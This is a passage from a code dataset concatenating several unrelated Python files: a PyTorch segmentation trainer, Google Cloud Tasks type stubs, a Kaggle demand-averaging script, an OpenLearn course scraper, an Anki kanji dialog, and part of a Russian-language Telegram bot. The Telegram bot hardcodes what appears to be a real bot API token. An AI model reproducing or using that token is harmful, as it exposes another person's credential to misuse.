os.path.join(path, prefix) + '_' + filename\r\n checkpoint_name = os.path.join(path, filename+'.pth.tar')\r\n torch.save(states, checkpoint_name)\r\n\r\n\r\nclass ModelTrain(object):\r\n def __init__(self, hps, model):\r\n self.resume_path = hps.resume_path\r\n self.best_loss = 1e8\r\n self.epoch_start = 0\r\n self.checkpoint_path = hps.checkpoint_path\r\n\r\n self.device = torch.device(\"cuda\" if hps.use_gpu else \"cpu\")\r\n self.model_setup(model, self.device)\r\n\r\n self.training_setup(hps)\r\n\r\n if os.path.isfile(self.resume_path):\r\n self.load_checkpoint()\r\n\r\n def model_setup(self, model, device):\r\n self.model = model.to(device)\r\n # self.weight_init\r\n\r\n def weight_init(self, model, init_type=None):\r\n if init_type == 'kaiming':\r\n for m in model.modules():\r\n if isinstance(m, nn.Conv2d):\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n elif isinstance(m, nn.BatchNorm2d):\r\n m.weight.data.fill_(1)\r\n m.bias.data.zero_()\r\n elif init_type == 'normal':\r\n for m in model.modules():\r\n if isinstance(m, nn.Conv2d):\r\n m.weight.data.normal_(0.0, 0.02)\r\n elif isinstance(m, nn.BatchNorm2d):\r\n m.weight.data.normal_(1.0, 0.02)\r\n m.bias.data.fill_(0)\r\n\r\n # param use **args passing will be easier\r\n def loss_setup(self, loss_class, weights=None):\r\n if weights is None:\r\n self.loss_func = loss_class()\r\n else:\r\n self.loss_func = loss_class(weight=weights.to(self.device))\r\n\r\n def training_setup(self, hps):\r\n self.optimizer = getattr(optim, hps.optimizer)(\r\n self.model.parameters(), lr=hps.learning_rate.lr, amsgrad=True)\r\n params = hps.learning_rate.scheduler_params.__dict__\r\n self.scheduler = getattr(optim.lr_scheduler, hps.learning_rate.scheduler)(\r\n self.optimizer, **params)\r\n\r\n def data_setup(self, *input):\r\n r\"\"\"Defines the datasets for the training and evaluation\r\n Should be overridden by all subclasses.\r\n \"\"\"\r\n self.evaloader = None\r\n self.trainloader = None\r\n\r\n raise NotImplementedError\r\n\r\n def load_checkpoint(self):\r\n self.best_loss, self.epoch_start = load_checkpoint(\r\n self.resume_path, self.model, self.optimizer)\r\n\r\n def save_checkpoint(self, epoch, filename='model_latest', path=None, ):\r\n if not path: path = self.checkpoint_path\r\n os.makedirs(path, exist_ok=True)\r\n save_checkpoint(\r\n {\r\n 'epoch': epoch,\r\n 'state_dict': self.model.state_dict(),\r\n 'best_loss': self.best_loss,\r\n 'optimizer': self.optimizer.state_dict()\r\n },\r\n path, filename)\r\n\r\n def train(self, device=None): # torch.device(\"cpu\")\r\n assert hasattr(self, 'trainloader')\r\n\r\n if device is None:\r\n device = self.device\r\n running_loss, iters = 0.0, 0\r\n self.model.train()\r\n\r\n for _, sample in enumerate(self.trainloader):\r\n inputs, labels = sample['data'].to(\r\n device), sample['labels'].to(device)\r\n if 'weights' in sample:\r\n self.loss_func.weight = sample['weights'].to(device)\r\n\r\n self.optimizer.zero_grad()\r\n outputs = self.model(inputs)\r\n loss = self.loss_func(outputs, labels)\r\n loss.backward()\r\n self.optimizer.step()\r\n\r\n running_loss += loss.item()\r\n iters += 1\r\n running_loss /= iters\r\n return running_loss\r\n\r\n def validate(self, device=None, output_func='none', write_path=None, **kwargs):\r\n assert hasattr(self, 'evaloader')\r\n if device is None:\r\n device = self.device\r\n running_loss, iters = 0.0, 0\r\n self.model.eval()\r\n refs = []\r\n results = []\r\n im_names = []\r\n with torch.no_grad():\r\n for _, sample in enumerate(self.evaloader):\r\n inputs, labels = sample['data'].to(\r\n device), sample['labels'].to(device)\r\n if 'weights' in sample: self.loss_func.weight = sample['weights'].to(device)\r\n if 'img_name' in sample:\r\n im_names += sample['img_name']\r\n outputs = self.model(inputs)\r\n loss = self.loss_func(outputs, labels)\r\n running_loss += loss.item()\r\n if hasattr(F, output_func):\r\n outputs = getattr(F, output_func)(outputs)\r\n iters += 1\r\n results += list(outputs.cpu().numpy())\r\n refs += list(labels.cpu().numpy())\r\n\r\n running_loss /= iters\r\n\r\n #if len(im_names) > 0 and write_path is not None:\r\n # for i, im in enumerate(results):\r\n # write_output(im, im_names[i] + '.in', write_path)\r\n # write_output(im, im_names[i] + '.out', write_path)\r\n \r\n self.validate_hard_dice(results, refs, kwargs)\r\n \r\n return running_loss\r\n \r\n def validate_hard_dice(self, results, ref_masks, epoch=0, writer=None):\r\n dices = [0]*4\r\n n_im = len(results)\r\n for i, r in enumerate(results):\r\n for j, pred in enumerate(r):\r\n dices += dice(remove_small_holes(pred > 0.5, 1000), ref_masks[i][j]) / n_im\r\n \r\n if writer:\r\n assert isinstance(writer, SummaryWriter)\r\n writer.add_scalars('val/hard_dices', {\r\n 'prostate': dices[0], \r\n 'bladder': dices[1],\r\n 'penile_bulb': dices[2],\r\n 'rectum': dices[3]\r\n }, epoch)\r\n","repo_name":"wdeng/code-snips","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":8973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6998848776","text":"import typing\n\nimport typing_extensions\n\n_list = list\n\n@typing.type_check_only\nclass AppEngineHttpRequest(typing_extensions.TypedDict, total=False):\n appEngineRouting: AppEngineRouting\n body: str\n headers: dict[str, typing.Any]\n httpMethod: typing_extensions.Literal[\n \"HTTP_METHOD_UNSPECIFIED\",\n \"POST\",\n \"GET\",\n \"HEAD\",\n \"PUT\",\n \"DELETE\",\n \"PATCH\",\n \"OPTIONS\",\n ]\n relativeUri: str\n\n@typing.type_check_only\nclass AppEngineRouting(typing_extensions.TypedDict, total=False):\n host: str\n instance: str\n service: str\n version: str\n\n@typing.type_check_only\nclass Attempt(typing_extensions.TypedDict, total=False):\n dispatchTime: str\n responseStatus: Status\n responseTime: str\n scheduleTime: str\n\n@typing.type_check_only\nclass Binding(typing_extensions.TypedDict, total=False):\n condition: Expr\n members: _list[str]\n role: str\n\n@typing.type_check_only\nclass CreateTaskRequest(typing_extensions.TypedDict, total=False):\n responseView: typing_extensions.Literal[\"VIEW_UNSPECIFIED\", \"BASIC\", \"FULL\"]\n task: Task\n\n@typing.type_check_only\nclass Empty(typing_extensions.TypedDict, total=False): ...\n\n@typing.type_check_only\nclass Expr(typing_extensions.TypedDict, total=False):\n description: str\n expression: str\n location: str\n title: str\n\n@typing.type_check_only\nclass GetIamPolicyRequest(typing_extensions.TypedDict, total=False):\n options: GetPolicyOptions\n\n@typing.type_check_only\nclass GetPolicyOptions(typing_extensions.TypedDict, total=False):\n requestedPolicyVersion: int\n\n@typing.type_check_only\nclass HttpRequest(typing_extensions.TypedDict, total=False):\n body: str\n headers: dict[str, typing.Any]\n httpMethod: typing_extensions.Literal[\n \"HTTP_METHOD_UNSPECIFIED\",\n \"POST\",\n \"GET\",\n \"HEAD\",\n \"PUT\",\n \"DELETE\",\n \"PATCH\",\n \"OPTIONS\",\n ]\n oauthToken: OAuthToken\n oidcToken: OidcToken\n url: str\n\n@typing.type_check_only\nclass ListLocationsResponse(typing_extensions.TypedDict, total=False):\n locations: _list[Location]\n nextPageToken: str\n\n@typing.type_check_only\nclass ListQueuesResponse(typing_extensions.TypedDict, total=False):\n nextPageToken: str\n queues: _list[Queue]\n\n@typing.type_check_only\nclass ListTasksResponse(typing_extensions.TypedDict, total=False):\n nextPageToken: str\n tasks: _list[Task]\n\n@typing.type_check_only\nclass Location(typing_extensions.TypedDict, total=False):\n displayName: str\n labels: dict[str, typing.Any]\n locationId: str\n metadata: dict[str, typing.Any]\n name: str\n\n@typing.type_check_only\nclass OAuthToken(typing_extensions.TypedDict, total=False):\n scope: str\n serviceAccountEmail: str\n\n@typing.type_check_only\nclass OidcToken(typing_extensions.TypedDict, total=False):\n audience: str\n serviceAccountEmail: str\n\n@typing.type_check_only\nclass PauseQueueRequest(typing_extensions.TypedDict, total=False): ...\n\n@typing.type_check_only\nclass Policy(typing_extensions.TypedDict, total=False):\n bindings: _list[Binding]\n etag: str\n version: int\n\n@typing.type_check_only\nclass PurgeQueueRequest(typing_extensions.TypedDict, total=False): ...\n\n@typing.type_check_only\nclass Queue(typing_extensions.TypedDict, total=False):\n appEngineRoutingOverride: AppEngineRouting\n name: str\n purgeTime: str\n rateLimits: RateLimits\n retryConfig: RetryConfig\n stackdriverLoggingConfig: StackdriverLoggingConfig\n state: typing_extensions.Literal[\n \"STATE_UNSPECIFIED\", \"RUNNING\", \"PAUSED\", \"DISABLED\"\n ]\n\n@typing.type_check_only\nclass RateLimits(typing_extensions.TypedDict, total=False):\n maxBurstSize: int\n maxConcurrentDispatches: int\n maxDispatchesPerSecond: float\n\n@typing.type_check_only\nclass ResumeQueueRequest(typing_extensions.TypedDict, total=False): ...\n\n@typing.type_check_only\nclass RetryConfig(typing_extensions.TypedDict, total=False):\n maxAttempts: int\n maxBackoff: str\n maxDoublings: int\n maxRetryDuration: str\n minBackoff: str\n\n@typing.type_check_only\nclass RunTaskRequest(typing_extensions.TypedDict, total=False):\n responseView: typing_extensions.Literal[\"VIEW_UNSPECIFIED\", \"BASIC\", \"FULL\"]\n\n@typing.type_check_only\nclass SetIamPolicyRequest(typing_extensions.TypedDict, total=False):\n policy: Policy\n\n@typing.type_check_only\nclass StackdriverLoggingConfig(typing_extensions.TypedDict, total=False):\n samplingRatio: float\n\n@typing.type_check_only\nclass Status(typing_extensions.TypedDict, total=False):\n code: int\n details: _list[dict[str, typing.Any]]\n message: str\n\n@typing.type_check_only\nclass Task(typing_extensions.TypedDict, total=False):\n appEngineHttpRequest: AppEngineHttpRequest\n createTime: str\n dispatchCount: int\n dispatchDeadline: str\n firstAttempt: Attempt\n httpRequest: HttpRequest\n lastAttempt: Attempt\n name: str\n responseCount: int\n scheduleTime: str\n view: typing_extensions.Literal[\"VIEW_UNSPECIFIED\", \"BASIC\", \"FULL\"]\n\n@typing.type_check_only\nclass TestIamPermissionsRequest(typing_extensions.TypedDict, total=False):\n permissions: _list[str]\n\n@typing.type_check_only\nclass TestIamPermissionsResponse(typing_extensions.TypedDict, total=False):\n permissions: _list[str]\n","repo_name":"henribru/google-api-python-client-stubs","sub_path":"googleapiclient-stubs/_apis/cloudtasks/v2/schemas.pyi","file_name":"schemas.pyi","file_ext":"pyi","file_size_in_byte":5299,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"54"} +{"seq_id":"2430217335","text":"# coding: utf-8\n__author__ = 'Ravi: https://kaggle.com/company'\n\nimport datetime\nimport time\nfrom collections import defaultdict\nimport gc\n\ndef run_solution():\n print('Preparing arrays...')\n f = open(\"../input/train.csv\", \"r\")\n f.readline()\n total = 0\n\n client_product_arr = defaultdict(int)\n client_product_arr_count = defaultdict(int)\n\n # Calc counts\n avg_target = 0.0\n while 1:\n line = f.readline().strip()\n total += 1\n\n if total % 10000000 == 0:\n print('Read {} lines...'.format(total))\n\n if line == '':\n break\n\n arr = line.split(\",\")\n week = int(arr[0])\n agency = arr[1]\n canal_id = arr[2]\n ruta_sak = arr[3]\n cliente_id = int(arr[4])\n producto_id = int(arr[5])\n vuh = arr[6]\n vh = arr[7]\n dup = arr[8]\n dp = arr[9]\n target = int(arr[10])\n\n client_product_arr[(cliente_id, producto_id)] += target\n client_product_arr_count[(cliente_id, producto_id)] += 1\n\n f.close()\n gc.collect()\n \n print('Generate submission...')\n now = datetime.datetime.now()\n path = 'submission_' + str(now.strftime(\"%Y-%m-%d-%H-%M\")) + '.csv'\n out = open(path, \"w\")\n f = open(\"../input/test.csv\", \"r\")\n f.readline()\n total = 0\n out.write(\"id,Demanda_uni_equil\\n\")\n\n index_both = 0\n index_empty = 0\n\n while 1:\n line = f.readline().strip()\n total += 1\n\n if total % 10000000 == 0:\n print('Write {} lines...'.format(total))\n\n if line == '':\n break\n\n arr = line.split(\",\")\n id = arr[0]\n week = int(arr[1])\n agency = arr[2]\n canal_id = arr[3]\n ruta_sak = arr[4]\n cliente_id = int(arr[5])\n producto_id = int(arr[6])\n\n out.write(str(id) + ',')\n if (cliente_id, producto_id) in client_product_arr:\n val = client_product_arr[(cliente_id, producto_id)]/client_product_arr_count[(cliente_id, producto_id)]\n out.write(str(round(val)))\n index_both += 1\n else:\n avg_target = 4.00\n out.write(str(avg_target))\n index_empty += 1\n out.write(\"\\n\")\n\n print('Both: {}'.format(index_both))\n print('Empty: {}'.format(index_empty))\n\n out.close()\n f.close()\n\nstart_time = time.time()\nrun_solution()\nprint(\"Elapsed time overall: %s seconds\" % (time.time() - start_time))\n","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/grupo-bimbo-inventory-demand/Ravi Chandibhamar/gbid-2.py","file_name":"gbid-2.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"16866723725","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport urllib.request as ur\r\nimport urllib\r\nimport re,os,time\r\nfrom urllib.request import urlopen\r\nimport xlsxwriter,xlrd\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nfrom selenium import webdriver \r\nfrom selenium.common.exceptions import NoSuchElementException \r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\n\r\n\r\nurl=\"http://www.open.edu/openlearn/free-courses/full-catalogue\"\r\n\r\ncourse_link=\"http://www.open.edu\"\r\n\r\n\r\nworkbook = xlsxwriter.Workbook('openlearn_all_courses.xlsx')\r\nworksheet = workbook.add_worksheet()\r\n\r\n\r\n\r\n# Open a workbook \r\nworkbook1 = xlrd.open_workbook('openlearn_links.xlsx') #collect all links from this file\r\nworksheet1 = workbook1.sheet_by_name('Sheet1')\r\nr=1\r\nfor row in range(1,924):#924\r\n\tcourse_url=worksheet1.cell(row,0).value\r\n\tworksheet.write_url(r,0,course_url)\r\n\t\r\n\thtml=requests.get(course_url)\r\n\tcourse=BeautifulSoup(html.text,\"lxml\")\r\n\t\r\n\ttry:\r\n\t\ttitle=course.find(\"h1\",{\"id\":\"aria-article-main-label\"}).string\r\n\t\t#print(title.strip())\r\n\t\tworksheet.write(r,1,title.strip())\r\n\texcept:\r\n\t\tworksheet.write(r,2,\"None\")\r\n\t\t\r\n\ttry:\r\n\t\ttry:\r\n\t\t\timage=course.find(\"div\",{\"class\":\"wall-image local-oucontentng-view\"}).find(\"img\")['src']\r\n\t\texcept:\r\n\t\t\timage=course.find(\"div\",{\"class\":\"wall-image enrol-openlearn-enrolself\"}).find(\"img\")['src']\r\n\t\t#print(image)\r\n\t\tworksheet.write(r,2,image)\r\n\t\talt=image.split(\"/\")\r\n\t\talt=alt[-1]\r\n\t\t#data = urllib.request.urlopen(image).read()\r\n\t\t#file = open(\"Images/\"+str(alt), \"wb\")\r\n\t\t#file.write(data)\r\n\t\t#file.close()\t\r\n\t\tworksheet.write_url(r,3,r\"Images/\"+str(alt))\r\n\texcept:\r\n\t\tworksheet.write(r,3,\"None\")\r\n\t#print(course_url+\"?active-tab=description-tab\")\r\n\t#html1=requests.get(\"http://www.open.edu/openlearn/health-sports-psychology/question-ethics-right-or-wrong/content-section-0?active-tab=description-tab\")\r\n\t#course1=BeautifulSoup(html1.text,\"lxml\")\r\n\t\r\n\ttry:\r\n\t\t#link=\"http://www.open.edu/openlearn/health-sports-psychology/question-ethics-right-or-wrong/content-section-0\" #?active-tab=description-tab\"\r\n\t\tbrowser = webdriver.Firefox()\r\n\t\t#print(course_url)\r\n\t\tbrowser.get(course_url)\r\n\t\ttime.sleep(2)\r\n\t\tbond_source = browser.page_source\r\n\t\t#browser.quit()\r\n\t\tdes=BeautifulSoup(bond_source,\"lxml\")\r\n\t\t\r\n\t\tbrowser.find_element_by_xpath(\"//h2[@id='content-tab']//a[@class='tab-link']\").click()\r\n\t\ttime.sleep(2)\r\n\t\tbond_source = browser.page_source\r\n\t\t#browser.quit()\r\n\t\tconn=BeautifulSoup(bond_source,\"lxml\")\r\n\t\t'''\r\n\t\tbrowser.find_element_by_xpath(\"//h2[@id='review-tab']//a[@class='tab-link']\").click()\r\n\t\ttry:\r\n\t\t\tpass#browser.find_element_by_xpath(\"//a[@class='comment_all button ou_silver']\").click()\r\n\t\texcept:\r\n\t\t\tpass\r\n\t\tbond_source = browser.page_source\r\n\t\t#browser.quit()\r\n\t\treviews=BeautifulSoup(bond_source,\"lxml\")\r\n\t\t'''\r\n\t\tbrowser.quit()\r\n\texcept KeyboardInterrupt:\r\n\t\tworkbook.close()\r\n\t\texit(0)\r\n\texcept:\r\n\t\tpass\r\n\t#except:\r\n\t#\tpass\r\n\t\r\n\ttry:\r\n\t\t#print(course1)\r\n\t\tdesc=des.find(\"div\",{\"id\":\"content_summary\"}).find(\"p\",{\"property\":\"schema:description\"}).string\r\n\t\t#print(str(desc))\r\n\t\tworksheet.write(r,4,desc.strip())\r\n\texcept:\r\n\t\tworksheet.write(r,4,\"None\")\r\n\t\t\r\n\ttry:\r\n\t\toutcomes=des.find(\"div\",{\"id\":\"summary_content\"}).find(\"div\",{\"id\":\"blockoutcomes\"}).find(\"ul\").findAll(\"li\")\r\n\t\toutcome=\" \"\r\n\t\tfor each in outcomes:\r\n\t\t\tpoint=each.find(\"span\",{\"class\":\"content-list\"}).string\r\n\t\t\toutcome+=point+\", \"\r\n\t\t#print(outcome)\r\n\t\tworksheet.write(r,5,outcome)\r\n\texcept:\r\n\t\tworksheet.write(r,5,\"None\")\r\n\t\t\r\n\ttry:\r\n\t\tcontents=conn.find(\"ul\",{\"class\":\"accordionList\"}).findAll(\"li\",{\"class\":\"accordionItem\"})\r\n\t\tlists=\" \"\r\n\t\tfor each in contents:\r\n\t\t\tdata=each.find(\"span\",{\"class\":\"display-cell text-cell\"}).find(\"span\").string\r\n\t\t\tlists+=data+\", \"\r\n\t\t#print(lists)\r\n\t\tworksheet.write(r,6,lists)\r\n\texcept:\r\n\t\tworksheet.write(r,6,\"None\")\r\n\t'''\r\n\ttry:\r\n\t\trev=reviews.find(\"div\",{\"class\":\"fivestar-summary fivestar-summary-combo\"}).find(\"span\",{\"class\":\"average-rating\"}).find(\"span\").string\r\n\t\trev=str(rev)+\" / 5\"\r\n\t\tprint(str(rev))\r\n\t\tworksheet.write(r,7,rev)\r\n\texcept KeyboardInterrupt:\r\n\t\tworksheet.write(r,7,\"0\")\r\n\t\r\n\ttry:\r\n\t\tcomment=\" \"\r\n\t\tcomm_auth=reviews.findAll(\"div\",{\"class\":\"comment-author\"})\r\n\t\tprint((comm_auth))\r\n\t\tcomm_data=reviews.findAll(\"div\",{\"class\":\"comment-content\"})\r\n\t\tprint((comm_data))\r\n\t\tfor k in range(len(comm_data)):\r\n\t\t\tee=comm_auth[k].find(\"a\").string\r\n\t\t\tww=comm_data[k].find(\"div\",{\"class\":\"field-item even\"}).find(\"p\").string\r\n\t\t\tcomment+=\"< \"+ee+\" : \"+ww+\" >\"\r\n\t\t\tprint(comment)\r\n\t\tworksheet.write(r,8,comment)\r\n\texcept KeyboardInterrupt:\r\n\t\tworksheet.write(r,8,\"None\")\r\n\t'''\r\n\t\r\n\thrs=worksheet1.cell(row,1).value\r\n\tworksheet.write(r,7,hrs)\r\n\t\r\n\t\r\n\tlevel=worksheet1.cell(row,2).value\r\n\tworksheet.write(r,8,level)\r\n\t\r\n\ttry:\r\n\t\trat=conn.find(\"div\",{\"id\":\"about_free_course\"}).find(\"div\",{\"class\":\"creative-commons border-solid\"}).find(\"div\",{\"class\":\"course-info fivestar-value\"}).find(\"span\",{\"class\":\"average-value\"}).string\r\n\t\trat=str(rat)+\" / 5\"\r\n\t\t#print(rat)\r\n\t\tworksheet.write(r,9,rat)\r\n\texcept:\r\n\t\tworksheet.write(r,9,\"0 / 5\")\r\n\t\r\n\ttry:\r\n\t\tenroll=course.find(\"a\",{\"title\":\"Create an account\"})['href']\r\n\t\t#print(enroll)\r\n\t\tworksheet.write_url(r,10,enroll)\r\n\texcept:\r\n\t\tworksheet.write(r,10,\"None\")\r\n\t\r\n\t\r\n\ttry:\r\n\t\tsubject=course.find(\"span\",{\"class\":\"subject-name\"}).string\r\n\t\t#print(subject)\r\n\t\tworksheet.write(r,11,subject)\r\n\texcept:\r\n\t\tworksheet.write(r,11,\"None\")\r\n\t\r\n\t\r\n\ttry:\r\n\t\tw=12\r\n\t\t#download=conn.find(\"div\",{\"class\":\"block-download-course block-sidebar color-royal-blue\"}).find(\"ul\").findAll(\"li\")\r\n\t\tdownload=conn.find(\"div\",{\"id\":\"sidebar_wrapper\"}).find(\"ul\").findAll(\"li\")\r\n\t\tfor each in download:\r\n\t\t\tpdf=each.find(\"a\")['href']\r\n\t\t\tworksheet.write_url(r,w,pdf)\r\n\t\t\tw=w+1\r\n\texcept:\r\n\t\tworksheet.write(r,w,\"None\")\r\n\t\r\n\t\r\n\tprint(r)\r\n\tr=r+1\r\n\t#break\r\nworkbook.close()","repo_name":"jayesht1996/web-scraping","sub_path":"openlearn website/openlearn_scrap_data.py","file_name":"openlearn_scrap_data.py","file_ext":"py","file_size_in_byte":5794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27679294391","text":"from collections import defaultdict\nimport aqt\nfrom aqt.qt import (\n QDialog,\n QDialogButtonBox,\n QAbstractListModel,\n QAbstractItemView,\n QColor,\n QLabel,\n QListView,\n QMessageBox,\n Qt,\n QModelIndex,\n QVariant,\n QVBoxLayout,\n QBrush,\n)\n\nfrom . import util\nfrom .card_type import CardType\nfrom .lookup_window import LookupWindow\n\n\nclass KanjiMarkModel(QAbstractListModel):\n state_colors = [\n \"#41d0b6\",\n \"#2cadf6\",\n \"#f9371c\",\n ]\n\n def __init__(self):\n super().__init__()\n self.kanji = []\n self.states = defaultdict(lambda: 0)\n\n def add(self, kanji_list):\n new_kanji = [kanji for kanji in kanji_list if kanji not in self.kanji]\n\n if len(new_kanji) == 0:\n return\n\n self.beginInsertRows(\n QModelIndex(),\n len(self.kanji),\n len(self.kanji) + len(new_kanji) - 1,\n )\n self.kanji.extend(new_kanji)\n self.endInsertRows()\n\n def data(self, idx, role):\n if not idx.isValid():\n return QVariant()\n\n kanji = self.kanji[idx.row()]\n\n if role == Qt.ItemDataRole.DisplayRole:\n # This should be a QBrush, but we also use the method\n if kanji[0] != '[':\n return str(kanji)\n if role == Qt.ItemDataRole.DecorationRole:\n if kanji[0] == '[':\n return util.get_pixmap_from_tag(kanji, 35)\n if role == Qt.ItemDataRole.BackgroundRole:\n state = self.states[kanji]\n return QBrush(QColor(self.state_colors[state]))\n\n return QVariant()\n\n def rowCount(self, _parent):\n return len(self.kanji)\n\n def cycle(self, idx):\n if idx.isValid():\n kanji = self.kanji[idx.row()]\n state = self.states[kanji]\n state += 1\n if state > 2:\n state = 0\n\n self.states[kanji] = state\n self.dataChanged.emit(idx, idx, [Qt.ItemDataRole.BackgroundRole])\n\n def with_state(self, state: int):\n return [kanji for kanji in self.kanji if self.states[kanji] == state]\n\n def to_add(self):\n return self.with_state(0)\n\n def to_mark(self):\n return self.with_state(1)\n\n\nclass KanjiMarkWidget(QListView):\n def __init__(self):\n super().__init__()\n\n self._model = KanjiMarkModel()\n self.setModel(self._model)\n\n self.setFlow(QListView.Flow.LeftToRight)\n self.setResizeMode(QListView.ResizeMode.Adjust)\n font = self.font()\n font.setPixelSize(35)\n self.setFont(font)\n self.setSpacing(5)\n self.setViewMode(QListView.ViewMode.IconMode)\n self.setSelectionMode(QAbstractItemView.SelectionMode.NoSelection)\n\n def mousePressEvent(self, event):\n pos = event.pos()\n idx = self.indexAt(pos)\n\n if event.modifiers() == Qt.KeyboardModifier.ShiftModifier:\n txt = self._model.data(idx, Qt.ItemDataRole.DisplayRole)\n if txt and isinstance(txt, str):\n LookupWindow.open(txt)\n else:\n self._model.cycle(idx)\n\n def mouseDoublePressEvent(self, event):\n self.mousePressEvent(event) # hack\n\n def add(self, kanji):\n self._model.add(kanji)\n\n def to_add(self):\n return self._model.to_add()\n\n def to_mark(self):\n return self._model.to_mark()\n\n\nclass KanjiConfirmDialog(QDialog):\n instance = None\n\n def __init__(self, parent=None, ct_kanji={}):\n super().__init__(parent)\n\n lyt = QVBoxLayout()\n self.setLayout(lyt)\n\n self.setWindowIcon(util.default_icon())\n self.setWindowTitle(\"Migaku Kanji - Found New Kanji\")\n\n self.setWindowModality(Qt.WindowModality.ApplicationModal)\n\n info_lbl = QLabel(\n \"If a Kanji is marked green, a card will be created. Blue ones will be marked known. Red ones will be ignored.\\n\\n\"\n \"Click kanji to cycle through the states.\\n\"\n )\n info_lbl.setWordWrap(True)\n lyt.addWidget(info_lbl)\n\n self.card_type_widgets = {}\n self.card_type_labels = {}\n\n for card_type in CardType:\n card_type_label = QLabel(card_type.name)\n card_type_label.setHidden(True)\n lyt.addWidget(card_type_label)\n self.card_type_labels[card_type] = card_type_label\n\n ct_kmw = KanjiMarkWidget()\n ct_kmw.setHidden(True)\n lyt.addWidget(ct_kmw)\n self.card_type_widgets[card_type] = ct_kmw\n\n self.resize(500, 400)\n\n button_box = QDialogButtonBox(QDialogButtonBox.StandardButton.Ok | QDialogButtonBox.StandardButton.Cancel)\n button_box.accepted.connect(self.accept)\n button_box.rejected.connect(self.reject)\n lyt.addWidget(button_box, Qt.AlignmentFlag.AlignRight)\n\n self.add_kanji(ct_kanji)\n\n def on_close(self):\n if KanjiConfirmDialog.instance == self:\n KanjiConfirmDialog.instance = None\n\n def add_kanji(self, ct_kanji):\n for ct in ct_kanji:\n ct_kmw = self.card_type_widgets[ct]\n kanji = ct_kanji[ct]\n ct_kmw.add(kanji)\n ct_kmw.setHidden(False)\n self.card_type_labels[ct].setHidden(False)\n\n def accept(self):\n database = aqt.mw.migaku_kanji_db\n\n for ct in self.card_type_widgets:\n ctw = self.card_type_widgets[ct]\n to_add = ctw.to_add()\n\n if len(to_add) < 1:\n continue\n\n util.error_msg_on_error(\n self,\n database.make_cards_from_characters,\n ct,\n to_add,\n \"Automatic Kanji Card Cration\",\n )\n\n to_mark = ctw.to_mark()\n database.mass_set_characters_known(ct, to_mark)\n\n self.on_close()\n super().accept()\n\n def reject(self):\n response = QMessageBox.question(\n self,\n \"Migaku Kanji\",\n \"Do you really want to ignore these Kanji? No kanji cards will be created and none will be marked known.\",\n )\n if response == QMessageBox.StandardButton.Yes:\n self.on_close()\n super().reject()\n\n @classmethod\n def _show_new_kanji(cls, card_type_kanji, parent=None):\n if cls.instance is None:\n cls.instance = cls(parent, card_type_kanji)\n cls.instance.show()\n else:\n cls.instance.add_kanji(card_type_kanji)\n util.raise_window(cls.instance)\n\n @classmethod\n def show_new_kanji(cls, card_type_kanji, parent=None):\n aqt.mw.taskman.run_on_main(lambda: cls._show_new_kanji(card_type_kanji, parent))\n","repo_name":"migaku-official/Migaku-Kanji-Addon","sub_path":"addon/kanji_confirm_dialog.py","file_name":"kanji_confirm_dialog.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"54"} +{"seq_id":"36855599934","text":"import random\nfrom collections import defaultdict\n\nimport pandas as pd\nimport telebot\nfrom sqlalchemy import Table, Column, String, MetaData, insert, text\nfrom sqlalchemy import create_engine\nfrom sqlalchemy_utils import database_exists, create_database\nfrom telebot import types\n\nfrom MessageClassifier import MessageClassifier\n\n\nengine = create_engine('sqlite:///complaint.db', echo=True, future=True)\nmeta = MetaData()\nif not database_exists(engine.url):\n create_database(engine.url)\n\ncomplaints = Table(\n 'complaints', meta,\n Column('faculty', String),\n Column('year', String),\n Column('complaint', String),\n)\n\nusers = Table(\n 'users', meta,\n Column('chat_id', String),\n Column('faculty', String),\n Column('specialisation', String),\n Column('year', String),\n)\n\nmeta.create_all(engine)\n\nbot = telebot.TeleBot('5447325606:AAHnzgoU2_3X6dmY8_UNVa7umyizaSpJtGw')\n\ninfo_by_chat_id = defaultdict(defaultdict)\n\n\ndef buttons_funny(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Хочу мем\"))\n markup.add(types.KeyboardButton(\"Хочу цитату\"))\n bot.send_message(message.chat.id, \"Как я могу тебя рассмешить?\", reply_markup=markup)\n\n\n@bot.message_handler(commands=['button'])\ndef buttons_message(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Обратиться к Вышке\"))\n markup.add(types.KeyboardButton(\"Мне нужна красная кнопка\"))\n markup.add(types.KeyboardButton(\"Рассмеши меня\"))\n markup.add(types.KeyboardButton(\"Личная помощь\"))\n bot.send_message(message.chat.id, \"Жми на одну из кнопок внизу ↓\", reply_markup=markup)\n\n\ndef buttons_more_cites(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Еще цитату\"))\n markup.add(types.KeyboardButton(\"Теперь мем\"))\n markup.add(types.KeyboardButton(\"Обратно в меню\"))\n bot.send_message(message.chat.id, \"Что-нибудь еще?\", reply_markup=markup)\n bot.register_next_step_handler(message, send_more)\n\n\ndef buttons_more_funny(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Еще мем\"))\n markup.add(types.KeyboardButton(\"Теперь цитату\"))\n markup.add(types.KeyboardButton(\"Обратно в меню\"))\n bot.send_message(message.chat.id, \"Что-нибудь еще?\", reply_markup=markup)\n bot.register_next_step_handler(message, send_more)\n\n\ndef buttons_more_help(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Хочу получить другую информацию\"))\n markup.add(types.KeyboardButton(\"Обратно в меню\"))\n bot.send_message(message.chat.id, 